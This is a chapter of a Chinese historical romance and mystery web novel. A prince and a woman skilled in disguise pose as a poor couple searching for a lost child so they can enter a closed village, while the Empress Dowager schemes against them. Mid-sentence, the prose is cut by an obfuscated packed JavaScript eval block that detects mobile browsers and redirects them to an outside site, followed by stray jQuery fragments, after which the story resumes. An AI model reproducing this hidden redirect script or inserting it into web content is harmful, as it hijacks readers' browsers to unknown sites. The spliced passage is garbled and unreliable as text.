“既然是圣上的意思，你且等着消息罢。”


    燕扶青直起身，语气淡淡，听不出情绪。


    沈策闻言，顿时眉头舒展，脸上绽开笑意，躬身道：“那下官便静候殿下佳音，下官先行告退。”


    语罢，他挥手示意，率领一众衙役转身离开，步履交错间，他的目光似是在司衣荷身上匆匆掠过。


    待沈策等人消失在客栈尽头，司衣荷才缓步上前。


    若仅为协查案件，何须出动如此众多的衙役？这般阵仗，分明是隐带威慑，意在迫使燕扶青就范。况且能如此精准地掌握他的行踪，定然是在这禹州地界布下了眼线。


    燕扶青知司衣荷心中疑虑，既已同舟共济，他亦无需遮掩，未等她发问便解释道：“圣上绝不会越过我，直接向沈策下达这等旨意。这道命令，只可能出自太后之手。”


    是了，当今圣上正是昭贵妃谢佩棠之子燕明。当年被记在沈皇后名下抚养。先皇驾崩后，因后宫子嗣单薄，唯余燕明一脉嫡血，他便顺理成章继承大统。然而司衣荷亦有所耳闻，如今朝堂之上，太后手中所握权柄，实则远胜于年轻的天子。


    司衣荷眸光微动，恍然道：“她是想借此拖住你回京的步子？”


    “嗯，”燕扶青低笑一声，“不过是想翻些风浪，无妨。京中亦有我的人，她掀不起太大波澜，只是眼下看来，回京之事需得延后了。”


    当年宫宴之上，那位如今高踞太后之位的妇人，字字句句看似雍容，实则绵里藏针，皆是对她与母亲的步步紧逼。她心中对此人早已厌极，更甚者，她隐约怀疑，母亲与贵妃当年遭遇的种种不幸，背后未必没有太后的手笔。


    眼下情形，唯有先行应下这桩查案之事，方是上策。暂且按捺，勿要打草惊蛇。


    司衣荷轻轻摇头：“无碍，正好我也想瞧瞧，究竟是何人，竟对那些稚子下手。”


    而此时，慈宁宫中沉香袅袅。


    沈太后正单手支额，她双眼微阖，斜倚在贵妃榻上小憩。


    一名嬷嬷疾步入宫，停至她身前的珠帘外，规规矩矩地行了个礼：“太后娘娘，沈知州那边传来消息，燕昭已应下查案之请，短期内恐无法返京。此外，他身边除却既家公子，还跟着一位身份不明的女子。”


    “女子？”沈太后闻言微微睁眼，嬷嬷见状即刻上前，小心地将她搀扶了起来，沈太后冷哼一声，“去，把肃王府那位听话的，给哀家寻来。”


    “是。”嬷嬷躬身领命，缓缓退下。


    雨不知何时已经歇了，阴霾却还沉沉压在空中。


    另一边，燕扶青向客栈小二买了身再寻常不过的粗布衣裳，换下了往日锦服，虽难掩周身清贵之气，但混入市井之中，也不至于扎眼。


    司衣荷恐人多太过显眼，易打草惊蛇。四人稍作商议，便决定由燕扶青和司衣荷先行前往，查探清楚清楚。白纪则隐在暗处，随时待命，而既玉和映香便暂留客栈，静观其变。


    清晨沈策刻意闹出的那一场，早已让店小二窥破燕扶青的身份与来意，燕扶青心下明了，只好将他唤来一旁，叮嘱他务必守口如瓶，店小二也是机灵的，急忙应下：“小的明白，小的绝不敢对外多言半句！”


    司衣荷上前，低着声音问他：“你上回提及，守嗣村的男丁每隔三日便有一次绕村，下一次，是在何时？”


    “按日子推算，应是明日，”店小二又思索了会，提醒道：“二位若想去那守嗣村，只怕难如登天，他们村向来排外，不接纳村外人，尤其临近这种时候，从不允许外人踏入半步。”


    司衣荷颔首，在他手中塞入一点碎银：“我知晓了，多谢提醒，您先去忙吧。”


    “诶，好嘞。那小的便不叨扰二位了。”店小二收起碎银，连忙躬身，快步退了下去。


    待他走远，司衣荷沉吟片刻，似是想到什么，走到燕扶青身边，温声道：“公子，请随我来。”


    燕扶青也不多问，嘴角噙着一抹慵懒笑意，看向她：“好。”


    司衣荷让燕扶青在客房稍候，随后回了自己的房中，取来一套工具与一些色彩，旋即返回燕扶青的客房。


    既玉见她提了些陌生物件，不由好奇地打量了一番，出声问道：“荷花姑娘，这是做甚？”


    司衣荷将手中物什搁在桌上，应声道：“稍作伪装。”


    她站定在燕扶青身前，又看向既玉，解释道：“以我们二人如今形容模样，断难踏入那守嗣村半步。若能改换一副落魄凄惶的模样，佯作丢失孩儿、千里寻亲的苦命夫妻，或可触动村民恻隐之心，寻得一线机会，悄然潜入。”


    司衣荷撷起笔，手法娴熟利落，与之前为自己易容的手笔如出一辙，她倾下身：“冒犯了。”


    温凉的触感，轻轻点在燕扶青的脸颊上。他端坐着，任司衣荷在面上细细描画，几缕发丝不经意间拂过他的侧脸，似有若无，带着些痒意。


    更有她温热的呼吸，因专注而稍显急促，轻轻扑在他的下颌一侧。燕扶青素来从容，此刻竟也觉出一丝罕见的不自在来。


    燕扶青的目光落在她的眉眼之间，竟叫他有些失神。


    直至映香的声音响起，才将他的思绪拉回，映香将一卷粗纸递到司衣荷面前：“阿姐，这是我寻那小二画的地图，那守嗣村位置瞧着实在偏僻，只怕不好寻。”


    恰好司衣荷这边勾勒完最后一笔。


    映香转眼一瞧，不由得“哇”了一声，感慨道：“阿姐你简直太厉害了，这简直与之前两模两样！”


    司衣荷并未打算将燕扶青彻底改头换面，但昨日客栈中那几个守嗣村的汉子与妇人曾见过他们，只好于细末处加以易改。


    她只是巧妙地将他的容颜稍作调整，消减了几分清贵之气，添上些许憔悴，随后也在自己脸颊上添些痕迹，让他们更似一对历经奔波、饥困交加的寻常夫妻。


    燕扶青照着铜镜轻咳一声，似是很满意：“还是小荷花思虑周全，如此，我们便可以更好地隐藏身份。”


    既玉在一旁摇着折扇，语带调侃：“扶青，荷花姑娘这双巧手，你可得仔细护好了，莫要暴殄天物。”


    燕扶青抬起手肘撞他，笑骂道：“我自然知道。”


    司衣荷将工具仔细收拢，递给映香。她又拿起粗布地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215597|181348||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    图瞧了眼，心下已有了大概的方位，她抬首：“事不宜迟，我们这便出发吧。”


    映香、既玉异口同声：“万事小心。”


    司衣荷同燕扶青对视一眼，皆微笑点头。


    二人步出客栈，司衣荷在道路旁寻觅着，俯身拾起一块粗砺的石头，毫不顾惜地在自己的粗布衣襟上反复摩擦，直至布料露出脏污磨损的痕迹。


    而后她又将双手摁在地上，沾染上灰黑的泥尘，仔细拍抹在脸颊、颈项等裸露的肌肤之上。燕扶青在一旁静观，心中明白亦不多言，只依样而行，将自己也弄得灰头土脸。


    “走罢。”


    他们并未多做停留，稍作整理后，燕扶青利落翻身上马，弯下身朝司衣荷身上，唇角微扬：“小荷花，上来。”


    司衣荷不会骑马，若靠双腿，不知何时才能寻到那偏僻村庄。


    她迟疑了片刻，还是将手搭了上去，下一刻，只觉身子一轻，她便腾起身上了马，燕扶青双臂自然而然地将她拥着，司衣荷听见他低笑一声，又喊：“驾！”


    马儿扬蹄奔出。


    不知从何时起，司衣荷发觉自己对于燕扶青的靠近，似乎已不似初见时那般心生抗拒。


    二人循着地图去找守嗣村，待快接近守嗣村的范围，他们便将马栓在一处隐蔽的地方，走路前行。


    这守嗣村果然地处极偏，他们穿梭寻觅良久，方穿过一片疏落的小树林，四周群山环抱。待终于窥见村庄低矮的轮廓，已然夕阳西下。


    距村口不远，可见一方开辟出的菜畦。地里唯有一位女子，正挎着竹篮，弯腰采摘着青蔬。


    “殿下可会做戏？”司衣荷眉眼弯弯。


    燕扶青明白她的意思，扬起脸：“小荷花，你可瞧好了。”


    司衣荷见他行动，便也顺势就地跌坐下来，背靠着一棵矮树，将呼吸放缓，佯装虚弱模样。


    燕扶青跌跌撞撞地奔到那女子近前，眼尾竟硬生生挤出两滴泪花，在脸中灰尘留下两道泪痕。那女子听见动静愕然回头，乍一见燕扶青的模样，倒是吓了一跳。


    “求姑娘行行好！救救我的夫人！”


    燕扶青声音嘶哑，带着哭腔，活脱脱一位走投无路的丈夫。他喘着气，抬手胡乱地再脸上抹了一把，咬着牙：“我们的孩子前几日莫名丢失，我夫妻二人一路追寻至此，盘缠早已用尽。我夫人她，她已许久滴水未进，眼看就要支撑不住了！求姑娘发发慈悲，救她一命！”


    那女子远远望见倚着树、气息奄奄的司衣荷，立刻便放下菜篮，直直地往司衣荷那边去，待到跟前，见她确实虚弱至极，神色慌张：“哎呀，你等着！我去给你端瓢水！”


    说罢那女子急急回去，没多久双手端了瓢清水回来，她蹲下身，一只手拖住司衣荷的后颈，将瓢靠近她的嘴唇，仔细地喂她喝下。


    司衣荷虚虚睁眼，似是耗尽力气：“多谢......多谢姑娘。”


    燕扶青正欲开口，却那女子神色间有些恐惧，又劝阻他们：“二位若还有力气，便听我一句劝，赶快离开这里吧，千万莫要在此地逗留！更不要让村长发现你们！”